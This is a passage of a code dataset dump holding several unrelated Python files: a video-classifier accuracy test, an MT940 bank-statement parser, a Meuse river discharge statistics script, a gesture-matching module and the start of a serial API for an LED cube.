np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 2:\n count2 += 1\n\nacc2 = count2/test2_total\nprint(\"Accuracy(class2): \" + str(acc2))\n\ncount3 = 0\nfor i in range(len(test3_rgb_list)):\n rgb_test_data = np.load(test3_rgb_list[i])\n optical_test_data = np.load(test3_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 3:\n count3 += 1\n\nacc3 = count3/test3_total\nprint(\"Accuracy(class3): \" + str(acc3))\n\ncount4 = 0\nfor i in range(len(test4_rgb_list)):\n rgb_test_data = np.load(test4_rgb_list[i])\n optical_test_data = np.load(test4_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 4:\n count4 += 1\n\nacc4 = count4/test4_total\nprint(\"Accuracy(class4): \" + str(acc4))\n\ncount5 = 0\nfor i in range(len(test5_rgb_list)):\n rgb_test_data = np.load(test5_rgb_list[i])\n optical_test_data = np.load(test5_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 5:\n count5 += 1\n\nacc5 = count5/test5_total\nprint(\"Accuracy(class5): \" + str(acc5))\n\nacc = (acc0 + acc1 + acc2 + acc3 + acc4 + acc5)/6\n\nprint(\"Accuracy: \" + str(acc))\nbackend.clear_session()\n","sub_path":"I3D_Shopping/Calculate_sources/test_predict_acc.py","file_name":"test_predict_acc.py","file_ext":"py","file_size_in_byte":7428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"346147932","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2013, Cédric Krier\n# Copyright (c) 2014-2015, Nicolas Évrard\n# Copyright (c) 2013-2015, B2CK\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the nor the\n# names of its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"a parser for MT940 files\n\"\"\"\n__version__ = '0.2'\n__all__ = ['MT940', 'rabo_description', 'abn_amro_description',\n 'ing_description']\n\nimport datetime\nimport re\nfrom collections import defaultdict, namedtuple\nfrom decimal import Decimal\n\nSECTIONS = {\n 'begin': [':940:'],\n 'statement': [':20:'],\n 'account': [':25:'],\n 'information': [':28:', ':28C:'],\n 'start_balance': [':60F:'],\n 'transaction': [':61:'],\n 'description': [':86:'],\n 'end_balance': [':62F:'],\n }\n\n\ndef _parse_date(date):\n return datetime.datetime.strptime(date, '%y%m%d').date()\n\n\ndef _parse_amount(amount, sign='C'):\n amount = Decimal(amount.replace(',', '.'))\n if sign in ('D', 'RC'):\n return -amount\n return amount\n\nTRANSACTION_RE = re.compile(r\"\"\"\n (?P\\d{6})\n (?P\\d{4})?\n (?PD|C|RC|RD)\n (?P\\w)?? # ING skips this mandatory field\n (?P(\\d|,){1,15})\n (?P\\w{4})\n (?P.{0,34})\"\"\", re.VERBOSE)\n\n\nclass MT940(object):\n\n def __init__(self, name):\n self.statements = []\n\n with open(name, 'rU') as f:\n values = defaultdict(str)\n transactions = []\n for line in self._readline(f):\n for name, sections in SECTIONS.iteritems():\n if name == 'begin':\n continue\n for section in sections:\n if line.startswith(section):\n if name in values and name == 'statement':\n self._set_statement(values, transactions)\n if name.endswith('_balance'):\n values[name] = self._get_balance(\n line[len(section):])\n elif name == 'transaction':\n transactions.append(\n self._get_transaction(line[len(section):]))\n elif name == 'description':\n transactions[-1] = (transactions[-1][:-1]\n + (line[len(section):],))\n else:\n values[name] += line[len(section):]\n if values:\n self._set_statement(values, transactions)\n\n @staticmethod\n def _readline(f):\n buf = []\n for line in f:\n line = line.strip('\\n')\n if buf:\n if (line.startswith(':')\n or line.startswith('-')):\n yield '\\n'.join(buf)\n del buf[:]\n buf.append(line)\n if buf:\n yield '\\n'.join(buf)\n\n @staticmethod\n def _get_balance(balance):\n date = _parse_date(balance[1:7])\n amount = _parse_amount(balance[10:], balance[0])\n return Balance(date=date, amount=amount, currency=balance[7:10])\n\n @staticmethod\n def _get_transaction(transaction):\n lines = transaction.splitlines()\n if len(lines) == 1:\n transaction, = lines\n additional_data = None\n else:\n transaction, additional_data = lines\n transaction = TRANSACTION_RE.match(transaction)\n date = _parse_date(transaction.group('date'))\n if transaction.group('booking'):\n booking = _parse_date(\n transaction.group('date')[:2]\n + transaction.group('booking'))\n else:\n booking = None\n amount = _parse_amount(transaction.group('amount'),\n transaction.group('sign'))\n id_ = transaction.group('id')\n reference = transaction.group('reference')\n reference, _, institution_reference = reference.partition('//')\n return (date, booking, amount, id_, reference,\n institution_reference, additional_data, '')\n\n def _set_statement(self, values, transactions):\n self.statements.append(\n Statement(\n transactions=[Transaction(*t) for t in transactions],\n **values))\n values.clear()\n del transactions[:]\n\nStatement = namedtuple('Statement', ['statement', 'account', 'information',\n 'start_balance', 'transactions', 'end_balance'])\nBalance = namedtuple('Balance', ['date', 'amount', 'currency'])\nTransaction = namedtuple('Transaction', ['date', 'booking', 'amount', 'id',\n 'reference', 'institution_reference', 'additional_data',\n 'description'])\n\n\ndef _find_swift_tags(tags, description):\n values = {}\n for tag, name in tags:\n if description.startswith(tag):\n description = description[len(tag):]\n try:\n i = description.index('/')\n except ValueError:\n i = len(description)\n values[name] = description[:i]\n description = description[i:]\n if not description:\n break\n return values\n\nRABO_TAGS = [\n ('/MARF/', 'marf'),\n ('/EREF/', 'eref'),\n ('/PREF/', 'pref'),\n ('/BENM/', 'benm'),\n ('/ORDP/', 'ordp'),\n ('/NAME/', 'name'),\n ('/ID/', 'id'),\n ('/ADDR/', 'addr'),\n ('/REMI/', 'remi'),\n ('/CDTRREFTP//CD/SCOR/ISSR/CUR/CDTRREF/', 'cdtrref'),\n ('/CSID/', 'csid'),\n ('/ISDT/', 'isdt'),\n ('/RTRN/', 'rtrn'),\n ]\n\n\ndef rabo_description(description):\n \"Return dictionnary with Rabo informations\"\n description = ''.join(description.splitlines())\n return _find_swift_tags(RABO_TAGS, description)\n\n\nABN_AMRO_ACCOUNT = re.compile(r\"\"\"\n ^([0-9]{1,3}\\.[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,3})\"\"\", re.VERBOSE)\nABN_AMRO_GIRO = re.compile(r\"\"\"\n ^GIRO\\ +([0-9]+)\"\"\", re.VERBOSE)\nABN_AMRO_TAGS = [\n ('/TRTP/', 'trtp'),\n ('/IBAN/', 'iban'),\n ('/BIC/', 'bic'),\n ('/CSID', 'csid'),\n ('/NAME/', 'name'),\n ('/REMI/', 'remi'),\n ('/EREF/', 'eref'),\n ('/ORDP//ID/', 'ordp'),\n ('/BENM//ID/', 'benm'),\n ]\n\n\ndef abn_amro_description(description):\n \"Retrun dictionnary with ABN AMRO informations\"\n description = ''.join(description.splitlines())\n values = {}\n m = ABN_AMRO_ACCOUNT.match(description)\n if m:\n values['account'] = m.group(1).replace('.', '')\n m = ABN_AMRO_GIRO.match(description)\n if m:\n values['account'] = m.group(1)\n values.update(_find_swift_tags(ABN_AMRO_TAGS, description))\n return values\n\nING_TAGS = re.compile(r'/(RTRN|EREF|PREF|MARF|CSID|CNTP|REMI|PURP|ULT[CD])/')\nING_TAGS_DEFINITION = {\n 'RTRN': ('rtrn', []),\n 'EREF': ('eref', []),\n 'PREF': ('pref', []),\n 'MARF': ('marf', []),\n 'CSID': ('csid', []),\n 'CNTP': ('cntp', ['account_number', 'bic', 'name', 'city']),\n 'REMI': ('remi', ['code', 'issuer', 'remittance_info']),\n 'PURP': ('purp', []),\n 'ULTC': ('ultc', ['name', 'id']),\n 'ULTD': ('ultd', ['name', 'id']),\n }\n\n\ndef ing_description(description):\n \"Return dictionnary with ING informations\"\n description = ''.join(description.splitlines())\n values = {}\n ing_tags = iter(ING_TAGS.split(description)[1:])\n for tag, tag_value in zip(ing_tags, ing_tags):\n tag_value = tag_value[:-1]\n name, subfields = ING_TAGS_DEFINITION[tag]\n\n if not subfields:\n values[name] = tag_value\n continue\n\n values[name] = {}\n if 'name' in subfields or 'remittance_info' in subfields:\n special_tag = 'name' if 'name' in subfields else 'remittance_info'\n tag_idx = subfields.index(special_tag)\n subtags = tag_value.split('/', tag_idx)\n for sf_name, sf_value in zip(subfields[:tag_idx], subtags[:-1]):\n values[name][sf_name] = sf_value\n subtags = subtags[-1].rsplit('/', len(subfields) - tag_idx - 1)\n for sf_name, sf_value in zip(subfields[tag_idx:], subtags):\n values[name][sf_name] = sf_value\n else:\n subtags = tag_value.split('/')\n for sf_name, sf_value in zip(subfields, subtags):\n values[name][sf_name] = sf_value\n\n return values\n","sub_path":"src/pretix/plugins/banktransfer/mt940.py","file_name":"mt940.py","file_ext":"py","file_size_in_byte":9724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"295086636","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on : Tue Jul 19 16:58:30 2016\nAuthor : Guus Rongen\nProject : PR3280.20.03\nDescription : Script uitintegreren onzekerheid van de piekafvoer in de basisduur (B = 30 dagen),\n als onzekerheid normaal is verdeeld (additief model). In dit script is het MATLAB\n script van Chris Geerse (PR3216.10, november 2015) omgezet naar python\n\n\"\"\"\n\n# Import modules\nimport os\nimport pandas as pd\nimport numpy as np\nfrom scipy.interpolate import interp1d\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\nfrom myfuncs import stats\n\n# Zet wat plotstijl parameters\nplt.rcParams['font.family'] = 'sans-serif'\nplt.rcParams['grid.linestyle'] = '-'\nplt.rcParams['axes.linewidth'] = 0.5\nplt.rcParams['axes.labelsize'] = 'medium'\nplt.rcParams['grid.alpha'] = 0.15\nplt.rcParams['legend.handletextpad'] = 0.4\nplt.rcParams['legend.fontsize'] = 8\nplt.rcParams['legend.labelspacing'] = 0.2\nplt.rcParams['font.size'] = 8\nplt.rcParams['font.sans-serif'] = 'Verdana'\n\n# Verander werkmap\nos.chdir(r'd:\\Documents\\PR3280.20.09 Maasstatistiek')\n\n# Bepaald pad waar de originele bestanden staan\norigineel_pad = r'Toeleveringen\\\\Afvoer\\\\'\n\n# lees data in\n#-----------------------------------------------------\ndata = pd.read_csv(r'Toeleveringen\\TableFrequencyCurveMeuse.tab', skiprows = 16, skipfooter = 64, header = None, delimiter=r\"\\s+\", usecols = [0, 2, 3])\ndata.columns = ['terugkeertijd', 'afvoer', 'sigma']\nlocatie = 'Borgharen'\ndata['overschrijdingskans'] = 1./data.terugkeertijd / 6\n\n## Vertaal naar afvoer en onzekerheid om de rest van het script consistent te\n# houden\n#------------------------------------------------------------------------------\nafvoer = data[['afvoer', 'overschrijdingskans']]\nafvoer = afvoer.set_index('afvoer')\n\nonzekerheid = data[['afvoer', 'sigma']]\nonzekerheid['mu'] = 0\n\n## bereid het uitintegreren voor\n#-----------------------------------------------------\n# Grid waarvoor de verwachtingswaarde wordt bepaald\nxmin = 1002\nxstap = 2\nvmax = 8000 # 10 is voor de preciezie in de staart; (is dit eigenlijk wel nodig hier?)\nxmax = 6000 # Uiteindelijk nemen we 8 m als maximum.\nxgrid = np.arange(xmin, vmax+xstap/10, xstap)\n\n# Bepaal de eindindex\nend = int((xmax - vmax) / xstap)\n\n# Hetzelfde grid wordt voor de uitgeïntegreerde als niet uitgeïntegreerde\n# statistiek gebruikt.\nzonder_onzekerheid = pd.DataFrame(index = xgrid[:end], columns = ['overschrijdingskans'])\nmet_onzekerheid = pd.DataFrame(index = xgrid[:end], columns = ['overschrijdingskans'])\n\n## Interpoleer onzekerheid (lineair over waterstandsrichting) op het grid\n# Eerst de gemiddelden\nfMu = interp1d(onzekerheid.afvoer, onzekerheid.mu, kind = 'linear', fill_value = 'extrapolate')\nxMu = fMu(xgrid)\n# Dan de standaardafwijking\nfSig = interp1d(onzekerheid.afvoer, onzekerheid.sigma, kind = 'linear', fill_value = 'extrapolate')\nxSig = fSig(xgrid)\n\n# Interpoleer de overschrijdingskansen\nfPov = interp1d(afvoer.index, np.log(afvoer.overschrijdingskans), fill_value = 'extrapolate')\nxPov = np.exp(fPov(xgrid))\n\n# Bereken het verschil tussen de overschrijdingskansen, de klassekansen\nklassekansen = xPov- np.roll(xPov, -1)\nklassekansen[-1] = 0 # maak laatste klasse 0\n\n\"\"\"\nBereken overschrijdingskans voor vGrid(i), incl. onzekerheid:\nWaarom xgrid - vgrid?:\nP(V > v) = P(M + Y > v)\n = integraal[dm f(m)P(m+Y > v | M = m)]\n = integraal[dm f(m)P(Y > v-m | M = m)]\n = integraal[dm f(m)[1-P(Y < v-m | M = m)]]\n = integraal[dm f(m)[1-Fy|m (v -m)]]\nIntuitieve uitleg: Voor elke waterstand wordt de kans op overschrijden berekend,\ngegeven een bepaalde waterstand zonder onzekerheid. Per klassekans is dit een\nbepaalde waterstand zonder onzekerheid. Vervolgens is dus v (met onzekerheid) - m (zonder) de\ngrootte van de onzekerheid, en de cumulatieve kans, de kans dat deze onderschreden wordt.\nPovHulp[:, i] = 1 - st.norm.cdf(vGrid[i] - xGrid, loc = xMu, scale = xSig) #vector van formaat mGrid\nvPov[i, r] = np.sum(PovHulp[i, :] * klassekansen) # waarde van de integraal\n\"\"\"\nPovHulp = np.zeros((len(xgrid), len(xgrid)))\nPovHulp = 1 - st.norm.cdf(xgrid - xgrid[:, None], loc = xMu[:, None], scale = xSig[:, None]) #vector van formaat xgrid\nvPov = np.sum(PovHulp * klassekansen[:, None], axis = 0) # waarde van de integraal\n\n# Voeg toe aan dictionaries, maar tot 8 meter: In de staarten wordt een\n# fout gemaakt. \n\n# In sommige gevallen kan de overschrijdingskans met onzekerheden onder die\n# zonder onzekerheden uitkomen. Corrigeer hier gelijk voor.\n\nzonder_onzekerheid.loc[:, 'overschrijdingskans'] = xPov[:end]\nmet_onzekerheid.loc[:, 'overschrijdingskans'] = np.max([vPov[:end], xPov[:end]], axis = 0)\n\n## Maak figuren ter controle\n#----------------------------------------------------- \nfig, ax = plt.subplots(figsize = (16.5/2.54, 8/2.54))\nax.plot(zonder_onzekerheid.loc[:, 'overschrijdingskans'], xgrid[:end], 'b-', lw = 1.5, label = 'Zonder onzekerheid')\nax.plot(met_onzekerheid.loc[:, 'overschrijdingskans'], xgrid[:end], 'r-', lw = 1.5, label = 'Met onzekerheid')\nax.grid()\nax.set_xscale('log')\nax.set_xlim(afvoer.overschrijdingskans.max(), afvoer.overschrijdingskans.min())\n\nax.set_xlabel('Overschrijdingskans per basistijdsduur (30 dagen)')\nax.set_ylabel('Afvoer [m$^{\\mathregular{3}}$/s]')\nlg = ax.legend(loc = 'best')\nlg.get_frame().set_lw(0.5)\nplt.tight_layout()\nfig.savefig(r'Opleveringen\\\\Statistiek\\\\Figuren\\\\Overschrijdingsfrequentielijn', dpi = 300)\n\n# Maak beginwaardentabel\nbeginwaarden = pd.DataFrame(\n np.array([1.00, 0.995, 0.88, 0.76, 0.55, 0.264]),\n columns = ['overschrijdingskans'],\n index = np.array([0, 75, 200, 300, 500, 1000]).astype(int)\n )\n\n## Schrijf naar Hydra-NL formaat\n#--------------------------------------------\nfor kansen, onz in zip([met_onzekerheid, zonder_onzekerheid], [True, False]):\n # Header dictionary\n headertext = open(r'Werkzaamheden\\HydraNLheader.txt', 'r').read()\n headertext = headertext.replace('METZONDER', 'Met' if onz else 'Zonder')\n \n # Open nieuw bestand\n hydrainvoer = open(r'Opleveringen\\Statistiek\\Ovkans_Borgharen_piekafvoer_2017{}_Weismandrempel.txt'.format('_metOnzHeid' if onz else ''), 'w')\n # Voeg header toe\n hydrainvoer.write(headertext)\n # Bepaal het schrijfformaat en stapgrootte\n formatstring = ''.join([' {:<16.3e}']*1)\n \n # Voeg beginwaarden toe aan kansen\n kansen = pd.concat([beginwaarden, kansen]) \n \n # Voeg data toe\n # Ga tot len(kansen) - 6, want de maximale voorlaatste stap moet 7.94\n # meter zijn.\n for q, row in kansen.iterrows():\n if (q >= xmin) and not (q % 200 == 0):\n continue\n elif q == 6000:\n continue\n q = int(q)\n # Schrijf waterstand\n hydrainvoer.write(' {:<4d}'.format(q))\n # Schrijf kansen\n hydrainvoer.write(formatstring.format(row.overschrijdingskans))\n # Schrijf linebreak als het niet de laatste entry is\n hydrainvoer.write('\\n')\n # Schrijf laatste rij\n hydrainvoer.write(' {:<4d}'.format(int(kansen.iloc[-1].name)))\n hydrainvoer.write(formatstring.format(*kansen.iloc[-1].values))\n \n # Sluit het bestand af\n hydrainvoer.close()\n\n\n## Rapportagefiguur\n#----------------------------------------------------- \n#plt.close('all')\nfig, ax = plt.subplots(figsize = (16.5/2.54, 10.5/2.54))\nax.plot(zonder_onzekerheid.loc[:, 'overschrijdingskans'] * 6, xgrid[:end], 'b-', lw = 1.5, label = 'Zonder onzekerheid')\nax.plot(met_onzekerheid.loc[:, 'overschrijdingskans'] * 6, xgrid[:end], 'r-', lw = 1.5, label = 'Met onzekerheid')\n#ax.fill_between()\n\nfrom myfuncs import stats\n\nax.grid()\nax.set_xscale('log')\nax.set_xlim(afvoer.overschrijdingskans.max()*6, afvoer.overschrijdingskans.min()*6)\n\nf, Q, jaren = stats.get_annual_maxima(where = 'Borgharen', mode = 'f', plotpos = (0, 1), return_years = True)\nax.plot(f, Q, 'k^', mew = 1, mfc = 'yellowgreen', label = 'Gemeten jaarlijkse maxima', zorder = 1)\nfor i in range(len(jaren)-3, len(jaren)):\n ax.text(f[i]/1.1, Q[i]-10, jaren[i], va = 'top', ha = 'left')\n\nupper = onzekerheid.afvoer.values + 1.96 * onzekerheid.sigma.values\nlower = onzekerheid.afvoer.values - 1.96 * onzekerheid.sigma.values\nax.fill_between(afvoer.overschrijdingskans*6, upper, lower, color = 'lightgrey', label = '95% betrouwbaarheidsinterval')\n\n\nax.set_xlabel('Overschrijdingsfrequentie per winterhalfjaar (180 dagen)')\nax.set_ylabel('Afvoer [m$^{\\mathregular{3}}$/s]')\nlg = ax.legend(loc = 'upper left')\nlg.get_frame().set_lw(0.5)\nplt.tight_layout()\nax.set_ylim(1000, 7000)\nfig.savefig(r'Opleveringen\\\\Statistiek\\\\Figuren\\\\Overschrijdingsfrequentielijn_rapport', dpi = 300)\n\n## Rapportfiguur vergelijking\n\nfig, ax = plt.subplots(figsize = (16.5/2.54, 9/2.54))\nfor kansen, onz, color in zip([met_onzekerheid, zonder_onzekerheid], [True, False], ['r', 'b']):\n ax.plot(kansen.loc[:, 'overschrijdingskans'], xgrid[:end], color = color, ls ='-', lw = 1.5, label = '{} onzekerheid'.format('Met' if onz else 'Zonder'), alpha = 0.5)\n\nax.grid()\nax.set_xscale('log')\nax.set_xlim(afvoer.overschrijdingskans.max(), afvoer.overschrijdingskans.min())\nax.set_ylim(1000, 6500)\n\n\n# Plot oude gegevens\n# Verander werkmap\n\n# Integreer uit\n#-----------------------------------------------------\nexcelbestand = r'Toeleveringen\\Discharge Borgharen.xlsx'\n\n## Lees alle benodigde informatie uit het excelbestand\n#-----------------------------------------------------\n# Lees Weibull parameters uit\nafvoer = pd.read_excel(excelbestand, sheetname = 'Discharge data', parse_cols = range(2), skiprows = 6) \nafvoer.columns = ['afvoer', 'overschrijdingskans']\nafvoer = afvoer.set_index('afvoer')\n# lees onzekerheidsgroottes uit\nonzekerheid = pd.read_excel(excelbestand, sheetname = 'Statistical uncertainty', parse_cols = range(3), skiprows = 6) \nonzekerheid.columns = ['afvoer', 'mu', 'sigma']\n\nvPov, xPov = stats.integreeg_uit(xgrid, afvoer.index, afvoer.overschrijdingskans, onzekerheid.mu[1:], onzekerheid.sigma[1:], returnp = True)\n\nax.plot(vPov, xgrid, 'r--', lw = 1.5, label = 'Oud, met onzekerheid', dashes = (4,3))\nax.plot(xPov, xgrid, 'b--', lw = 1.5, label = 'Oud, zonder onzekerheid', dashes = (4,3))\n\nax.set_xlabel('Overschrijdingskans per basistijdsduur (30 dagen)')\nax.set_ylabel('Afvoer [m$^{\\mathregular{3}}$/s]')\nlg = ax.legend(loc = 'best')\nlg.get_frame().set_lw(0.5)\nplt.tight_layout()\n\nfig.savefig(r'Opleveringen\\\\Statistiek\\\\Figuren\\\\Overschrijdingsfrequentielijn_verschil', dpi = 300)\n\n","sub_path":"S06 Productieproces statistiek/S06aStatistiek Afvoer_Maas_uitintegreren (PR3280.20.09)/Scripts/uitintegreren_maasafvoer.py","file_name":"uitintegreren_maasafvoer.py","file_ext":"py","file_size_in_byte":10506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"420775080","text":"#!/usr/bin/env python\nimport os\n# me\nfrom isstring import isstring\nfrom public import public\n\n\n@public\ndef userpath(path):\n home = os.environ[\"HOME\"]\n if not isstring(path):\n path = str(path)\n if path.find(home) == 0:\n path = type(path)(\"~\") + path.replace(home, \"\", 1)\n return path\n","sub_path":"py_modules/userpath.py","file_name":"userpath.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"332450706","text":"import numpy\nimport math\n\n\nclass Gesture(object):\n\n def __init__(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def set_palm(self, hand_center, hand_radius):\n self.hand_center = hand_center\n self.hand_radius = hand_radius\n\n def set_finger_position(self, finger_position):\n self.finger_position = finger_position\n self.finger_count = len(finger_position)\n\n def calculate_angles(self):\n self.angle = numpy.zeros(self.finger_count, dtype=int)\n for i in range(self.finger_count):\n x = self.finger_position[i][0]\n y = self.finger_position[i][1]\n self.angle[i] = abs(math.atan2((self.hand_center[1] - y), (x - self.hand_center[0])) * 180 / math.pi)\n\n\ndef define_gestures():\n\n dictionary = {}\n\n v = Gesture(\"V Sign\")\n v.set_palm((475, 225), 45)\n v.set_finger_position([(490, 90), (415, 105)])\n v.calculate_angles()\n dictionary[v.get_name()] = v\n\n l_right = Gesture(\"L Sign\")\n l_right.set_palm((475, 225), 50)\n l_right.set_finger_position([(450, 62), (345, 200)])\n l_right.calculate_angles()\n dictionary[l_right.get_name()] = l_right\n\n index_pointing = Gesture(\"Index Pointing\")\n index_pointing.set_palm((480, 230), 43)\n index_pointing.set_finger_position([(475, 102)])\n index_pointing.calculate_angles()\n dictionary[index_pointing.get_name()] = index_pointing\n\n return dictionary\n\n\ndef compare_gestures(primary, secondary):\n\n if primary.finger_count == secondary.finger_count:\n if primary.finger_count == 1:\n angle_difference = primary.angle[0] - secondary.angle[0]\n if angle_difference > 20:\n result = 0\n else:\n primary_length = numpy.sqrt((primary.finger_position[0][0] - primary.hand_center[0]) ** 2\n + (primary.finger_position[0][1] - primary.hand_center[1]) ** 2)\n secondary_length = numpy.sqrt((secondary.finger_position[0][0] - secondary.hand_center[0]) ** 2\n + (secondary.finger_position[0][1] - secondary.hand_center[1]) ** 2)\n length_difference = primary_length / secondary_length\n radius_difference = primary.hand_radius / secondary.hand_radius\n length_score = abs(length_difference - radius_difference)\n if length_score < 0.09:\n result = secondary.get_name()\n else:\n result = 0\n else:\n angle_difference = []\n for i in range(primary.finger_count):\n angle_difference.append(primary.angle[i] - secondary.angle[i])\n angle_score = max(angle_difference) - min(angle_difference)\n if angle_score < 15:\n length_difference = []\n for i in range(primary.finger_count):\n primary_length = numpy.sqrt((primary.finger_position[i][0] - primary.hand_center[0]) ** 2 + (primary.finger_position[i][1] - primary.hand_center[1]) ** 2)\n secondary_length = numpy.sqrt((secondary.finger_position[i][0] - secondary.hand_center[0]) ** 2 + (secondary.finger_position[i][1] - secondary.hand_center[1]) ** 2)\n length_difference.append(primary_length / secondary_length)\n length_score = max(length_difference) - min(length_difference)\n if length_score < 0.06:\n result = secondary.get_name()\n else:\n result = 0\n else:\n result = 0\n else:\n result = 0\n\n return result\n\n\ndef decide_gesture(source, gesture_dictionary):\n\n for k in gesture_dictionary.keys():\n result = compare_gestures(source, gesture_dictionary[k])\n\n if result != 0:\n return result\n\n return \"None\"\n","sub_path":"src/gesture_api.py","file_name":"gesture_api.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"327497625","text":"\"\"\"\nCopyright Vincent LAMBERT. (2016)\nemail: vincent@influence-pc.fr\nThis software is a computer program whose purpose is to give access to an API over serial connexion to a device called Meuhcube. The Meuhcube is a Do-It-Yourself project using the Arduino Mega to drive a 7x7x7 LED cube.\nThis software is governed by the CeCILL license under French law and abiding by the rules of distribution of free software. You can use, modify and/ or redistribute the software under the terms of the CeCILL license as circulated by CEA, CNRS and INRIA at the following URL \"http://www.cecill.info\".\nAs a counterpart to the access to the source code and rights to copy, modify and redistribute granted by the license, users are provided only with a limited warranty and the software's author, the holder of the economic rights, and the successive licensors have only limited liability.\nIn this respect, the user's attention is drawn to the risks associated with loading, using, modifying and/or developing or reproducing the software by the user in light of its specific status of free software, that may mean that it is complicated to manipulate, and that also therefore means that it is reserved for developers and experienced professionals having in-depth computer knowledge. Users are therefore encouraged to load and test the software's suitability as regards their requirements in conditions enabling the security of their systems and/or data to be ensured and, more generally, to use and operate it in the same conditions as regards security.\nThe fact that you are presently reading this means that you have had knowledge of the CeCILL license and that you accept its terms.\n\"\"\"\n\n#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport glob\nimport serial\nimport time\n\n\ndef serial_ports():\n \"\"\"\n Lists serial port names\n \"\"\"\n if sys.platform.startswith('win'):\n ports = ['COM%s' % (i + 1) for i in range(256)]\n elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):\n # this excludes your current terminal \"/dev/tty\"\n ports = glob.glob('/dev/tty[A-Za-z]*')\n elif sys.platform.startswith('darwin'):\n ports = glob.glob('/dev/tty.wc*')\n else:\n raise EnvironmentError('Unsupported platform')\n\n result = []\n for port in ports:\n try:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n except (OSError, serial.SerialException):\n pass\n return result\n\n\n# Commands to turn on/off LED\n\ndef set_all(layer_states = 7 * [True]):\n \"\"\"\n Turn all LED on without parameter. Turn layers on if a list of seven bits is given, from right to left. Parameter:\n - layer_states, a list of seven booleans\n Example: (False, False, False, False, True, False, True) will turn off all LED of layers 7, 6, 5, 4, 2 and turn on LED of layers 3 and 1\n \"\"\"\n int_states = [int(boolean) for boolean in layer_states]\n str_states = [str(boolean) for boolean in int_states]\n str_states.reverse() # bit parameters are from left to right\n bits = \"\".join(str_states)\n byte = int(bits, 2)\n usb_link.write(bytearray([0xE7, 0x00, 0x01, byte, 0x7E]))\n\n\ndef set_voxel(coordinates = [0, 0, 0], led_state = True):\n \"\"\"\n Turn a voxel on. Parameters:\n - coordinates, an integer list for x, y, z\n - led_state, a boolean\n \"\"\"\n usb_link.write(bytearray([0xE7, 0x01, 0x04, coordinates[0], coordinates[1], coordinates[2], int(led_state), 0x7E]))\n\n\ndef set_line(axis = \"x\", shift_side_1 = 0, shift_side_2 = 0, led_states = 7 * [True]):\n \"\"\"\n Turn a line on. Parameters:\n - axis, chose an edge of the cube as reference. A string of \"x\", \"y\" or \"z\"\n - shift_side_1, shift the line from the chosen axis to one of the two adjacent sides. An integer between 0 and 6\n - shift_side_2, shift the line from the chosen axis to one of the two adjacent sides. An integer between 0 and 6\n - led_states, seven booleans\n \"\"\"\n 